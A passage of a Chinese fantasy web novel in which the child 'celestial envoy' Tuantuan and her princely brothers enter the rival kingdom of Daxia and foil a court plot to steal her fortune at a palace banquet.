连日奔波,众人都有些疲惫。
既然如今距离大夏仅一步之遥,几人商议后,决定在此地暂歇几日,养精蓄锐。
然而,次日一早,原本平静的苍岩关气氛陡然一变。
不少百姓行色匆匆,忙着采买米粮肉蔬,许多店铺更是早早便上了门板关了张,一种山雨欲来的紧张感无声地弥漫开来。
几人在大街上看着这些匆忙的百姓,全都一脸茫然。
“听说了吗?又要打仗了!”
“真的假的?”
“怎么不真!我儿子昨个儿出城办货回来说,咱们烈国的大军,就在不远处扎下营寨了!”
“对对!我小舅昨日也看到了!说那营寨连成了一大片,一眼都望不到边!少说也有几十万!”
“这是出什么大事了?真要和大夏开战吗?”
“赶紧囤东西吧!这仗若是打起来,小不了!”
萧宁辰皱了皱眉:“回客栈!”
众人赶回客栈,萧泽拿起桌上那几面旗帜,看着“烈国七皇子与仙使到访”几个大字。
瞬间全明白了。
为何那神秘人一路指引,让他们避开所有不必要的麻烦,用最快的速度抵达边关?
为何到了最后一站,却不再让他们隐匿行踪,反而要他们亮明身份,堂堂正正进入大夏?
“哈哈!秒啊!原来如此!”萧泽抚掌大笑“难怪让咱们插旗而行!父皇大军压境,这是在为咱们撑腰啊!”
他拿起那面旗帜,用力一抖,锦缎猎猎声响。
“我烈国数十万雄师陈兵边境,我再亮明皇子身份,大张旗鼓进入大夏。他们就算有通天胆子,又岂敢动咱们分毫?”
“如此一来,咱们便是烈国的脸面!不亚于正式出访。”
“他们若想动手,也要先掂量掂量,能否能承受得起烈国铁骑的雷霆之怒!”
萧宁辰重重点头,眼中战意升腾:“好一个堂堂正正!那咱们便依计而行,让大夏好好看看,我烈国的风采!”
萧宁珣也笑了:“陛下圣明,这才叫做不战而屈人之兵!”
“只是,若这位指路人是陛下安排的,直接下旨不就行了,何必如此神秘,万一咱们没听呢?”
“此人如此次次占得先机,还能与陛下的安排配合得天衣无缝,究竟是谁呢?”
团团才不管是谁呢:“是个大大的好人呗!皇伯父好厉害啊!让那些坏蛋不敢欺负咱们啦!”
烈国,紫宸殿中。
“启禀陛下!十万边军已全数在苍岩关外扎营!”
萧杰昀停下手中朱笔:“好!”
萧元珩笑了笑:“十万边军,旌旗蔽日,却不越雷池半步。大夏此时定是惶惶不安。”
萧杰昀冷哼一声:“他大夏国师既敢用我边关百姓的性命来要挟团团,那朕,也可以用十万边军让他不敢动手。”
“老七和团团,若是有什么差池,元珩,你便给朕踏平大夏!”
萧元珩行礼:“臣,遵旨!陛下圣明!”
三日后,一辆崭新的四骑马车,前后皆插着绣有“烈国七皇子与仙使到访”的大旗,缓缓驶入大夏。
瞬间便引起了众人的围观:“烈国人来啦!”
“他们来干什么?刚占了咱们三座城池,又来打劫吗?”
第185章 他们好假哦
第一百八十五章
人群越聚越多。
他们衣着朴素,眼神警惕,表情憎恨。
“打了那么多仗,害死我们那么多儿郎,还有脸来!”
“滚回去!”
“对!这里不欢迎你们!滚回烈国去!”
萧二面沉如水,稳稳地驾着车,八名护卫手按刀柄,分列两侧。
萧宁辰骑马断后,神情冰冷,目光所及之处,竟让一些激愤的百姓下意识地后退了半步。
萧宁珣将团团轻轻搂在怀里,轻声低语:“别怕。”
“他们只是普通百姓。两国以前在边关打过很多仗,死了许多人,他们的父亲、儿子,或许就死在战场上。”
“所以他们不喜咱们,很正常。”
“别看他们嘴上说的毒,其实心都是很善的。”
团团望着窗外,点了点头:“我不怕,三哥哥,他们心里难过,不是坏蛋。”
萧泽微微颔首:“团团说得极对。”
“父皇自登基以来,一直反对穷兵黩武,便是不忍看到生灵涂炭,百姓受苦。”
他望向窗外那些充满敌意的面孔:“其实,天下百姓所求的,不过是一碗饱饭,一身暖衣,一方安宁。”
“只要大夏安守本分,不挑衅生事,让边关再无战火,这天下,何愁不是太平盛世?”
萧宁珣轻轻捂住了团团的小耳朵,不让她听到车外那些恶毒的声音。
大夏,皇帝的起居处,格桑宫。
大夏皇帝公孙驰负手立于窗前,背影如山,他未曾回头,只反手向身后一掷,一本奏折“啪”的一声,落在公孙宏的脚下。
“别以为你和你母妃在背后做了什么,朕都不知道!”公孙驰声音不高,却惊得公孙宏心头狂跳,“看看吧,这就是你们自作聪明、却行事不密的结果!”
公孙宏弯腰捡起奏折,迅速扫过,脱口而出:“烈国边军异动,陈兵十余万于苍岩关外?”
他扑通一声跪倒在地:“儿臣鲁莽,请父皇恕罪。”
公孙驰缓缓转过身,看了一眼脸色发白的儿子,目光落在了静立一旁的国师巫罗身上。
“国师,烈国七皇子和那个仙使眼看便要走进朕的天启城了,不知国师有何对策?”
巫罗上前一步,躬身行礼:“陛下请放心。”
“贫道既将他们逼来,自然已经安排妥当。”
“这一次,非但要让他们有来无回,更要借此良机,将那烈国仙使身上的磅礴气运,尽数夺来,为我大夏神童,增添无上神力!”
公孙驰闻言,深沉的眼眸中终于掠过了一丝波动:“国师有此把握,朕心甚慰。”
他顿了顿:“可惜,常嬷嬷折在了烈国,太后那边无法再用,已然废了。”
巫罗微微一笑:“一个深宫老妇而已,废了便废了。吾皇掌控天下,那烈国,陛下自还有旁人可用。”
公孙驰与巫罗眼神相对:“国师,果然深知朕心。”
十日后,团团一行人的马车,终于来到了天启城。
城门外,公孙宏策马而立:“大夏公孙宏,奉父皇之命,在此相迎。”
萧泽从马车上下来,微微一笑:“英王殿下,又见面了。”
公孙宏下马行礼:“上次你我在烈国相见,是你迎的我,今日礼尚往来,我送你去驿馆。”
萧泽回礼:“多谢殿下。”
二人面带微笑,礼数周全,团团在车里看着:“三哥哥,他们好假哦!”
萧宁珣嘴里的一口茶险些喷出来,弹了一下妹妹的小脑门:“你呀!”
萧泽回到马车里,马车缓缓驶入城中。
团团兴奋地趴在车窗上向外张望。
天启城街道宽阔,商铺林立,街上行人众多,车水马龙,一片繁华盛景。
连萧泽都忍不住点头:“不愧为大夏国都,确实比咱们来时经过的地方都要繁华热闹。”
可能是因为已经远离边关,天启城的百姓们并没有跟着马车围观,对于插在车上的旗帜也无人多看一眼,一片祥和。
团团开心地指着外面热闹的街市:“我一会儿要去玩!”
萧宁珣微笑:“好!到了驿馆,安顿好了就陪你出去玩!”
“那是什么?”
“黑压压的?什么东西过来了?”
车外突然传来一阵阵惊呼。
萧宁珣脸色一变,将团团拉到了怀里。
萧泽从车窗向外看去。
原本晴朗的天空,不知为何突然暗了下来。
抬头望去,无数漆黑的身影从四面八方汇聚而来,如同滚滚潮水,顷刻间便来到了头上。
“天哪!是乌鸦!“
“哪儿来的这么多乌鸦?”
数不尽的乌鸦,层层叠叠,密密麻麻,几乎遮天蔽日。
一阵阵尖锐、嘶哑的狂叫,刺耳无比,所有人都忍不住捂住了耳朵。
讲话都只能大喊:“这是怎么回事?”
“这么多乌鸦!赶紧走啊!”
“乌鸦乃不祥之鸟!难道这是预兆,有大灾要降临吗?”
百姓们瞬间乱作一团,惊叫声、哭喊声四起,人群互相推搡,挥舞着手臂,四处躲避。
突然,一个尖厉的声音震耳欲聋地响起:“是那个烈国仙使!一定是她!”
一个黑脸壮汉手指直直地指向团团的马车:“你们看!她刚进城,这些乌鸦就来了!她是灾星!就是她!”
这一声呼喊,如同火星蹦进了油锅。
恐慌需要宣泄,灾祸需要归因。
立刻有人跟着附和:
“对!没错!就是她来了之后乌鸦才来的!”
“烈国的灾星!滚出去!”
“别给我们带来灾难!”
“滚啊!”
群情瞬间激愤,随着咒骂声一浪高过一浪,更多被恐慌和愤怒驱使的人群开始向马车涌去。
护卫们被挤得都快贴在马车上了。
萧二勉强控制着缰绳。
萧宁辰从马上跃起,站到萧二身旁,拔出了佩剑:“我看谁敢上来!”
不远处,公孙宏安坐马上,神情平静,嘴角慢慢勾起。
民愤啊,自古帝王都无可奈何。
看来今日,你们是不可能平安到达驿馆了。
第186章 我妹妹累了
团团从萧宁珣怀中挣出,猛地窜到门边,“唰”地拉开了车帘。
“团团!”萧宁珣和萧泽一起伸手,一个拉住了她的衣襟,一个拽住了她的手。
团团回头:“没事儿,我就说句话。”
二人对视了一眼,立刻起身,同她一起走到了车外,一左一右地护住了她。
天上,是嘶鸣不休的鸦群,地上,是咒骂不止的人群。
团团恍若未闻,仰望着那黑压压的天空,小眉头越皱越紧,气鼓鼓地叉起了腰用尽全身力气,清亮亮地大喊:
“吵——死——啦——!!!”
稚嫩的童音如同玉珠落盘,却带着难以言喻的穿透力。
那原本如同波涛翻滚、疯狂躁动的庞大鸦群竟然霎那间没了声音,齐刷刷一起闭了嘴。
所有人都顿住了,不可思议望着团团。
团团继续大喊:“都来这儿干嘛?回家去吧!”
成千上万的乌鸦在空中盘旋了片刻后,四散开来,如同退潮的海水,融入天际,消失得无影无踪。
不过眨眼之间,明晃晃的阳光毫无阻碍地倾泻而下,照亮了每一张惊愕的脸。
四周陷入了一片诡异的寂静。
所有人都目瞪口呆地看着那个站在阳光下的小团子。
团团拍了拍胸口,嘀咕了一句:“总算安静了。”
“噗通——”
不知是谁第一个反应过来,重重跪倒:
“仙使显灵!仙使显灵啊!“
更多的人随之跪倒:“是我们有眼无珠啊!“
“请仙使不要怪罪!”
方才还因为恐惧和愤怒躁动不安的人群,此刻如同被风吹倒的麦浪,一片接一片地跪倒在地。
公孙宏唇角的弧度早已凝固,脸色铁青。
冲着方才那带头喊“灾星”的黑脸汉子,微微摇了下头。
黑脸汉子如梦初醒,慌忙低下头,转身迅速消失在错综复杂的街巷之中。
公孙宏看着眼前的光景,阳光普照,万民跪伏。
精心策划的杀局,竟成了团团彰显神迹的垫脚石!
萧宁辰缓缓收剑入鞘,看着妹妹,一脸骄傲地笑了。
萧二长长舒了口气,紧绷的脊背终于松弛下来。
萧宁珣和萧泽领着团团,回到了车内。
萧宁珣将水囊递给妹妹:“方才喊那么大声,赶紧喝口水,润润嗓子。”
团团喝了一大口:“我就是嫌它们太吵了呀。”
萧泽摸了摸她的小脑袋:“对,团团做的很对。”
萧宁辰回到自己的马上,看向公孙宏,面含讥讽地笑了笑:“英王殿下,请带路,我妹妹累了,要回驿馆歇息。”
公孙宏咬着牙牵了下缰绳调转马头,百姓们纷纷站起,敬畏地让开了一条宽阔的通道,目送着马车缓缓向驿馆驶去。
到了驿馆,公孙宏告辞离开。
大夏的驿馆虽比不得烈国的豪华舒适,却也洁净整齐。
才安顿下来,团团便坐不住了。
大眼睛滴溜溜地望向窗外:“三哥哥,外面好热闹呀,咱们出去玩好不好?”
萧宁辰马上摇头:“方才那般凶险,此时出去不妥。”
团团撅起小嘴,蹭到萧宁辰腿边,抱住他的胳膊摇晃:“二哥哥,乌鸦不是都被我赶跑了嘛!现在没事儿了啊,让我出去玩一会儿吧,好不好?”
萧宁珣看着妹妹可怜巴巴的小模样,不由失笑:“二哥,方才团团一言驱散鸦群,在百姓眼中已是神迹。”
“此刻出去,安全应是无虞,这一路多是在马车上度过,也该让团团走走了。”
萧宁辰看了看弟弟和妹妹,犹豫了片刻后:“萧二,带几个人,跟着他们。”
“是!”
团团如同出了笼的小鸟,一手拉着萧宁珣,一手拽着萧二,小脑袋不停左右转动,看什么都觉得新鲜。
“糖葫芦!”她跑向一个卖冰糖葫芦的老翁。
老翁看见她,眼睛一亮,试探着问道:“这位,可是方才那位驱散了乌鸦的烈国仙使?”
团团用力点头,挺了挺胸脯:“对呀,老爷爷,就是我啊!”
老翁脸上顿时笑开了花,手脚麻利地取下一串最大最红的糖葫芦,塞到团团手里:“好娃娃!爷爷这串糖葫芦,送给你吃!谢谢你赶走了那些不祥之物。”
团团拿着糖葫芦,愣了一下,摇了摇头:“老爷爷,我有银子,买东西怎么能不给银子呢,对吧二叔叔?”
萧二急忙掏出荷包要拿。
“不能要!不能要!”老翁连连摆手,神情恳切,“小老儿没什么能拿得出手的,一串糖葫芦而已,仙使千万要收下!”
萧宁珣微微一笑,冲老翁颔首致意,轻轻拍了拍妹妹的肩膀:“团团,既是老爷爷的心意,便收下吧。”
团团甜甜的道谢:“谢谢老爷爷!老爷爷你真好!”
老翁笑得更加开怀:“不谢不谢,这孩子,真会说话儿。”
团团“啊呜”咬下一颗裹着透明糖衣的山楂,幸福地眯起了眼睛:“老爷爷,你的糖葫芦做得太好吃了!是我吃过的最好吃的糖葫芦!”
老翁更是美的都不知道该说什么了。
接下来,一发不可收拾。
无论团团走到哪里,无论是吃的喝的还是玩的,摊主们都坚决不收她的银钱。
卖绣花饰品的摊主大娘不由分说,便将一个五彩小挂件挂在了团团身上。
团团只不过是多看了一眼路边的一个蒸糕摊,热气腾腾的米糕立刻便被摊主大叔包了好几块送了过来。
甚至连卖泥人的小哥,都非要送团团一个憨态可掬的胖娃娃。
萧二数次试图推拒,却被百姓们纷纷拒绝。
“使不得!使不得!”
“小仙使帮了我们大忙,这点东西算啥!”
“拿着吧,娃娃喜欢就好!”脸上的笑容真诚而质朴。
团团把萧宁珣拉低,在他的耳边轻声道:“三哥哥,他们真的都是很善良的好人啊,跟咱们烈国的百姓一样好,对不对?”
萧宁珣俯身,替她擦去嘴角的米糕渣,目光柔和:“是啊,天下百姓,大多都是这般淳朴善良。你对他们好,他们便也对你好。”
几人逛了一圈,回到驿馆,萧泽抬起头看着他们:“大夏皇帝三日后在宫中举行宫宴,接见此次来参加大典的列国使臣。”
第187章 真以为我不敢刺王杀驾吗
话音落下,屋内顿时一静。
萧宁辰眉头瞬间拧紧:“既是接见列国使臣,团团便不必去了。她年纪尚小,算不得使臣,还是在驿馆里待着安全。”
萧泽缓缓摇头:“恐怕不行。大夏皇帝特意言明,要‘烈国七皇子与仙使’务必出席。他既点名要见团团,怕是推脱不得。”
“推脱不得?”萧宁辰虎目一瞪,“我妹妹病了!水土不服,头疼脑热,起不来了!他大夏皇帝难道还能派人来驿馆,把她抬进宫去不成?”
萧泽有些无奈,默默看向了萧宁珣。
萧宁珣想了想,声音温和:“二哥,让团团去吧。”
“正是因为列国使臣均在,大夏反而要顾及颜面,不会太过分。众目睽睽之下,安全才更有保障。”
他顿了顿:“此次称病躲过去了,那下次呢?”
“如今距离那‘显圣大典’尚有时日,大夏皇帝若铁了心要见团团,难道能次次称病?”
“倘若一直避而不见,他们大可借着探病的由头,直接来这驿馆。躲,是躲不过去的。”
他看着团团:“好在,今日进城时团团驱散鸦群,此地的百姓已不再仇视她这个‘烈国仙使’,甚至多有善意。大夏皇室若想再煽动民愤来针对她,已非易事。”
团团走到萧宁辰面前,软软的小手拉住了萧宁辰紧握的拳头。
“二哥哥,不用担心呀!去皇宫里吃饭,人最多啦!他们啥也做不了的!”
萧宁辰低头看了看妹妹,又抬眼看了看萧宁珣和萧泽,反手将团团的小手紧紧包裹在自己的大掌之中:“好!那咱们便都去!看看这大夏的宫宴,究竟搞什么名堂!”
大夏皇宫,英华殿内。
巫罗一袭黑色道袍静立窗前,声音平淡:“三日后宫宴,烈国那位仙使必会出席。”
“砰——哗啦!”
公孙止猛地将手中的茶盏狠狠掷了出去!
茶盏撞在柱子上,碎裂开来,茶水和瓷片四处飞溅。
“她算个什么东西!”公孙止胸口剧烈起伏,“一个烈国的野丫头!她也配称‘仙使’?我不许你这么叫她!”
他额角青筋跳动,眼神中全是疯狂。
巫罗缓缓转身,眉头微蹙。
正小心翼翼为公孙止篦理长发的宫女吓得手一抖,篦齿不慎勾住了几根发丝,扯痛了公孙止的头皮。
“废物!”
公孙止骤然回头,想也没想,反手便是一记耳光!
“啪!”
宫女被打得歪倒在地,半边脸颊红肿起来,她甚至不敢呼痛,立刻挣扎着跪好,连连磕头,抖如筛糠:“殿下饶命!奴婢不是故意的!殿下饶命啊!”
“这点小事都做不好!留着你有什么用!”公孙止尤不解气,猛地站起身,一脚踹在那宫女的肩头,将她踹得翻滚出去,“拉出去!给我打!五十鞭子,一鞭都不能少!狠狠打!”
“打完,把她送到北营军中,为妓!”
下人们噤若寒蝉,闻言立刻上前,迅速架起瘫软在地上的宫女,拖了出去。
巫罗的眉头皱得更紧:“止儿,莫要忘了,你依旧是大夏的神童!“
“如此暴戾作态,若传扬出去,你让天下人如何再如从前一般敬你信你?”
“从前?”公孙止像是被这句话彻底刺穿,他猛地冲到巫罗身前,一把抓住巫罗宽大的衣袖,用力在自己脸上反复擦拭!
看似白皙光滑的伪装被粗暴地擦掉,露出一张与方才截然不同的脸。
皮肤灰黑暗沉,毫无生机与光泽,与他从前面如银盘的模样完全不同。
“你看看!国师!你好好看看我!”他仰着头,声音里带着哭腔,语气中饱含怨恨,“我这副鬼样子!还怎么跟从前一样?你看啊!”
巫罗默默看着他的脸,沉吟半晌,叹了口气,轻轻拂开了公孙止的手。
“皮囊而已,不过是还需时日,总会好的。”
说完,他转身离开了。
空寂的大殿内,只剩下公孙止粗重的喘息声。
他死死的盯着巫罗离去的方向,“仙使?呵呵,我今日之苦,必要你千倍万倍的偿还!”
宫宴前日,驿馆。
萧二从外面大步走入,脸色凝重。
他径直走到萧宁辰面前,将一张揉成了团的纸条递了过去。
“二少爷,方才在街上,有个小乞丐撞到我身上,把这个,塞进了我手中。”
萧宁辰接过纸条,打开一看,又是那熟悉的笔迹:
“小心歌舞,勿食冰酪。”
萧宁珣震惊了:“这个神秘人,竟连大夏皇宫的事也能探知?他的耳目,究竟遍布到了何种地步?”
萧泽缓缓道:“歌舞,冰酪,看来这场宫宴,果然是暗藏凶险。大夏明面上以礼相待,暗地里却是这等阴私的手段!”
萧宁辰攥紧了拳头,猛砸了下桌面,把在一旁玩着一个小泥人的团团拉到面前:“团团,一定要记住,明日宫宴上,无论歌舞多么好看,都不要让她们靠近你。”
“桌上的冰酪更是一口都不能碰,记住了吗?”
团团点了点头:“嗯!记住啦!好人叔叔说的话,我会听的!二哥哥放心吧!”
萧宁辰看着妹妹乖巧的模样,心头一软,伸手揉了揉她的发顶,再抬起头时,眼中已满是杀气。
敢伤我妹妹,真以为我不敢刺王杀驾吗?
次日正午,大夏皇宫,麟德殿,宫宴开始。
大殿内金碧辉煌,觥筹交错。
雅乐悠扬,列国使臣锦衣华服,汇聚一堂。
御座之上,大夏皇帝公孙驰一身玄黑龙袍,面容平和。
淑妃一身绯红宫装坐于皇帝下首,光彩照人。
公孙宏正襟危坐,举止持重。
他身旁的桌上,正是神童公孙止,依旧是面如银盆,五官精致,却禁不住细看。
一旦仔细端详,便会发觉面皮像贴上去的一般,神态僵硬。
而最引人注目的,则是坐在皇帝下首,位置在一人之下,万人之上的一个道人,国师巫罗。
殿中舞姬水袖翻飞,丝竹管弦之声靡靡。
内侍们手捧鎏金托盘,将一盏盏晶莹剔透、冒着丝丝寒气的乳白色奶酪,恭敬地置于所有人的案上。
第188章 定要为我所用
一舞既终,丝竹渐歇。
淑妃笑意盈盈,声音温柔:“早听闻烈国仙使大名,没想到竟是如此玉雪可爱,当真惹人怜爱。”
她看着团团,仿佛一个慈爱的长辈。
公孙止闻言猛地攥紧了拳头,看向团团的目光翻涌着刻骨的怨毒,脸皮微微抽搐。
公孙宏不动声色地轻轻咳了一声,给了他一个警告的眼神。
公孙止身体一僵,垂下眼帘,遮住了自己克制不住的眼神。
淑妃笑吟吟的抬手指了指内侍刚刚呈到团团面前的冰酪,语气愈发温柔:“仙使远来是客,请尝尝这冰酪吧。”
“此乃我大夏皇宫秘制,用了最上等的牛乳、燕窝,蜂蜜,工序繁琐,一年也难得做上几回,最是清甜滋润,适合小孩子食用。”
萧泽正欲开口替团团推脱,殿外传来内侍的声音:
“西卢使臣,姬峰到!”
团团眼睛一亮,姬叔叔来了?伸着小脑袋向大殿门口望去。
只见一道高大魁梧的身影逆着光大步踏入。
姬峰行至御阶前行礼,声若洪钟:“西卢姬峰,路上耽搁了些时辰,紧赶慢赶这才刚到,请陛下莫怪!”
公孙驰面上依旧平和,摆了摆手:“西卢使臣远来辛苦,朕岂会怪罪?无妨,入席吧。”
内侍连忙引着姬峰在席间落座,恰好便安排在了团团的对面。
团团开心地冲他招了招小手。
姬峰冲着她挤了挤眼睛,看得团团咯咯直笑,姬叔叔太好玩啦。
公孙宏脸色一沉,姬峰!当日在烈国,你放火烧我住所,居然还敢来我大夏!
淑妃见姬峰落了座,迅速收起脸上的不耐,重新堆起一脸温婉的笑颜,再次看向团团:“仙使,这冰酪放置久了,口感便差了。此时食用正是最佳,快些尝尝吧。”
团团看了看眼前的小碗,抬起头对上淑妃的目光:“这位娘娘啊,你为什么这么着急想让我吃这个呀?这里面是不是有什么东西啊?”
“噗——”姬峰还没来得及咽下去的一口酒直接喷了出来。
随即他便毫无顾忌的大笑着咳得惊天动地:“哈哈哈……咳咳咳……”
烈国众人都低下头用力抿嘴,忍住了,没有像姬峰一样露骨。
淑妃脸色一变,这个死丫头!
她稳了稳:“仙使许是没听清楚,方才本宫已经讲过了,这里面啊,可都是好东西,没有小孩子不爱吃呢。”
“哦!”团团随口应了一声,就是不碰。
淑妃气得脸上的笑容有些维持不住。
公孙止忍不住了:“母妃一片好意,仙使却推三阻四,实在有失使节风度。”
团团恍然大悟:“原来,这个娘娘是你的母妃啊!难怪总盯着我。”
她对着公孙止嘻嘻一笑:“我又不是使节!要什么风度!”
“你!”公孙止被她噎得说不出话来。
他实在是搞不明白,为何一遇到这个臭丫头,自己便只有吃哑巴亏的份儿,竟没有一次能占上风。
姬峰刚捋顺了方才那口气,听到这两句,笑得直拍桌子。
萧宁珣摸了摸团团的小脑袋,心想,这才是我妹妹最厉害的地方,满嘴能将人气死的真话,让人无从反驳。
淑妃缓缓起身,亲自端起自己面前那盏丝毫未动的冰酪,莲步轻移,走到了团团面前。
“想来是仙使的那碗有何瑕疵,或是奴才们伺候不周,才让仙使不愿品尝。”
她声音柔和,姿态放得极低,将自己那盏冰酪递到团团面前:“那便请仙使尝尝本宫这碗如何?”
姬峰眯起了眼睛,烈国众人眉头皱起。
其他国家的使节深知两国的过节,眼见双方斗法,都一声不吭地作壁上观。
萧宁辰猛地站起,团团拉了拉他的袖子:“二哥哥,别生气。”
她看了看淑妃那张虚伪的笑脸:“可是,你这碗好像也不好喝呢!”
她话音才落,“啾啾!啾!”
几声清脆悦耳的鸣叫自殿外传来,只见两只黑白相间的大喜鹊,竟穿过敞开的殿门,灵巧地飞进了这金碧辉煌的大殿!
它们互相追逐,在大殿上空盘旋飞舞,姿态优美。
有大夏官员立刻赞叹:“陛下洪福!”
“宫宴之上竟有喜鹊来仪,此乃大吉之兆,彰显我大夏国运昌隆!连吉鸟都来相贺!”
其他官员马上附和。
“今日盛宴,贵客云集,不想竟连喜鹊都引来了!”
“是啊!吉兆啊!”
正说着,两只喜鹊突然俯冲下来,
其中一只飞过淑妃手中的那碗冰酪时。
啪嗒!
一滩新鲜的鸟粪,分毫不差地落入了乳白色的冰酪正中。
同一刻,另一只喜鹊从淑妃头顶掠过,尾部一沉。
啪嗒!
又一滩温热的、灰白色的鸟粪,落在了她雪白粉嫩,保养得宜的手背上!
“啊!”淑妃一声尖厉的惊叫,胳膊一缩手一松。
哐当——哗啦!
手里的冰酪碗落在了地上,混着鸟粪的乳白色冰酪星星点点地飞溅到她绯红的裙摆上,一片狼藉!
两只喜鹊如同完成了任务一般,毫不停留地飞了出去。
方才还称赞吉兆的几个官员瞠目结舌,大殿内瞬间安静了,所有人目瞪口呆。
淑妃僵立原地,面皮紫涨。
“噗……哈哈哈!”姬峰豪放不羁的笑声再次响起,“果然是吉鸟!还真是通人性啊!哈哈哈!”
烈国众人虽极力忍耐,却都控制不住的肩膀微抖,显然憋笑憋得十分辛苦。
团团眨了眨眼:“你看,我没说错吧,连小鸟都不喜欢这个呢,这位娘娘,我就不吃了哦!”
淑妃闻言,猛地抬头,眼神中的愤恨已然毫不掩饰,死死地盯住了团团。
萧宁珣把妹妹拉到怀里,瞪了回去:“娘娘,请自重。”
“够了!”
御座之上,终于传来了公孙驰低沉的声音:“来人,送淑妃回宫更衣。”
几个宫人走过来,将淑妃扶了下去。
看到自己的母妃当众出丑,公孙宏的脸色阴沉下来。
巫罗看着团团,神情兴奋,目光贪婪。
难怪止儿虽身负滔天气运,却屡屡受挫。
这丫头的气运,简直是太强了,若是能为我所用……不,定要为我所用!
内侍拍了拍手,几个舞姬鱼贯而入。
“此乃我大夏的《九酝迎宾舞》,请诸位贵客共赏!”
第189章 是否值得一搏
丝竹之声响起,十几个身着彩裙的舞姬翩然入场,水袖翻飞,步履轻盈,随着乐声摇曳生姿。
舞蹈动作整齐划一,赏心悦目。
群舞一段落毕,乐声稍缓。
一名舞姬越队而出,围着一张使臣的桌案轻盈舞动。
片刻后,她拿起桌上的酒壶斟满一个空杯,捧给桌前的使臣。
使臣接过酒杯,满面笑容,一饮而尽。
那舞姬又从袖中掏出一只金丝香囊,穿花蝴蝶般,围着桌案,边舞边献给了刚刚饮酒的使臣。
使臣接过来,低头系在腰间,哈哈大笑:“大夏迎宾舞,果然精妙!”
舞姬俯身行礼,退了回去。
就这样,舞姬们一个接一个出来,围着使臣们的桌案,先敬酒再献香囊。
丝竹悠扬,舞姿曼妙,觥筹交错间,殿内一派宾主尽欢,其乐融融的景象。
最后一个舞姬舞动着,来到了烈国使团的案前。
烈国众人面上不露声色,心都提了起来。
舞姬敬了酒,萧泽扶着额头佯装不胜酒力,轻轻放在了桌上。
巫罗手中的酒杯顿住,目光闪烁。
舞姬旋转着舞步围着桌案舞动,取出香囊,又欲接近。
团团抬起头,看了她一眼。
那舞姬突然脚下一滑,“啊呀!”一声惊叫。
整个人面朝下重重摔在地上,鼻血瞬间涌出,发簪脱落,头发散乱,狼狈不堪。
丝竹声戛然而止。
满殿皆静。
公孙宏沉着脸:“下去!”
那舞姬捂着鼻子,慌忙爬起,退了下去。
几个宫人迅速上来,将地面清扫干净。
乐声再度响起,仿佛方才的一切都并未发生。
又一名舞姬取出袖内的香囊,舞动着接近了桌案。
团团皱起了眉头,还来?好烦啊!
她一手捂着鼻子,另一只手抬起指着舞姬手中的香囊,大声喊道:“你别过来!那里面有坏东西!好臭呀!”
舞姬的动作顿时停住了。
“砰!”一声闷响。
萧宁辰如猛虎般瞬间暴起,窜出桌案将那舞姬一脚踹翻在地,劈手夺过香囊,五指猛地发力。
“刺啦!”
香囊被他硬生生扯成两截,里面的干花香料簌簌落下,一同飘落出来的,还有一张折叠得很小的黄色符纸!
萧宁辰俯身将符纸捏在指尖,整个抖开,高举过头,朱砂绘制的诡异符文扭曲着布满在纸上。
他抬眼直视御座上的公孙驰:“陛下!这便是大夏的待客之道?以此等邪术暗害我烈国使臣?究竟意欲何为?”
满殿哗然!
所有方才收到过香囊的使臣都惊骇地望着萧宁辰手中的符纸,脸色大变,纷纷将香囊解下,如同烫手山芋般扔在了地上!
姬峰冷哼一声,声若洪钟:“好一个《九酝迎宾舞》!原来竟藏着这种猫腻!”
公孙驰的脸色沉了下来。
巫罗淡淡一笑:“诸位误会了,此乃我大夏神童的赐福符纸,佩戴者承泽福佑,必会诸事皆顺。”
团团看着他:“哦,那干嘛要藏起来呢?”
姬峰捡起自己才刚仍在地上的香囊,一把扯开,将里面的东西都倒在桌上,扒拉了一下:“原来神童只赐福烈国啊,没我西卢的份儿!”
团团看着他:“姬叔叔,你没有才好呢!这个东西啊,会偷走你的气运,然后,都给他哦!”
她小手一指,正是神童公孙止!
公孙止猛地站了起来:“你胡说八道!”
团团冲他做了个鬼脸:“你到处偷别人的气运,所以脸才坏了,再偷下去,你的脸就要烂啦!”
公孙止震惊不已,她怎么会知道?
所有人的目光瞬间都集中到了他的脸上。
公孙止无地自容:“我的脸没坏!都是你!都是你的错!”
他脸皮没动,五官却扭曲起来,看起来极为诡异,指着团团大声嘶喊:“你胡说!我是神明转世!我才不用偷别人的气运!”
“都是他们自愿献给我的!”
团团笑了:“好奇怪啊!你愿意把你的气运给别人吗?你自己不愿意,别人又怎么会愿意!”
公孙止僵住了,眼里的疯狂寸寸皲裂,只剩下一片茫然。
他张了张嘴,想反驳,却又不知该如何反驳,一个字也吐不出来。
我愿意把自己的气运给别人吗?当然不愿意!
那别人为什么会愿意?
国师说因为我是神明转世,但如果真的是,又为何要用别人的气运?
这些他从未思索过的问题,萦绕在他心头,令他首次对自己是否真的是神明转世产生了怀疑。
殿内议论声四起。
“所谓神童,竟是窃取他人运势的贼子?”
“气运也能偷?这是什么邪术?”
“天哪,以后得离大夏人远一些,万一偷了我的怎么办?”
公孙止抬起头,看向高高在上的巫罗,眼中全是困惑。
姬峰抚掌大笑:“妙啊!真是妙啊!原来你们大夏的神明,是靠抢别人碗里的肉养出来的?”
本小章还未完,请点击下一页继续阅读后面精彩内容!“此等不要脸皮的神明,老子还真是头一回见!”
“不!不是的!我不是!我没有偷东西!我就是神明转世!”
“啊——”公孙止发出一声不似人声的嘶吼,双手抱住头,转身像一只无头苍蝇般朝着殿外疯狂冲去!
公孙宏大喊了一声:“止弟!”
公孙止恍若未闻。
“砰!”他撞翻了一名内侍手中的果盘,瓜果滚落一地。
汁水溅脏了他的袍角,他却浑然不觉。
他跌跌撞撞,捂着脸痛哭流涕地逃出了大殿。
公孙宏脸色惨白。
公孙驰缓缓站起,袍袖一挥,转身退入了内殿。
巫罗脸上的笑容消失了,他面无表情地看了团团一眼,跟了上去。
大殿内众人面面相觑,谁也没有想到,一场热闹的宫宴,竟然便这般,草草收场了。
众人回到驿馆。
萧泽长长舒了口气:“多亏了神秘人提前示警啊,否则今日,搞不好真要栽在这大夏皇宫了。”
团团惦记着姬峰:“姬叔叔也住在驿馆吗?”
门外响起了姬峰爽朗的笑声:“对啊!小团团!”
格桑宫中。
公孙驰看着巫罗:“止儿如今这样,是否还能担负重任?”
巫罗想了想,轻轻摇头:“贫道愧对陛下。”
公孙驰摆了摆手:“那烈国仙使非同一般,止儿不是她的对手,与国师何干?”
“朕的皇儿中,可还有勘用之才?”
巫罗迟疑了片刻:“尚需观其心性,察其根骨。”
公孙驰放下手中茶盏:“待你定下人选,随你所用。”
巫罗躬身:“陛下圣明。”
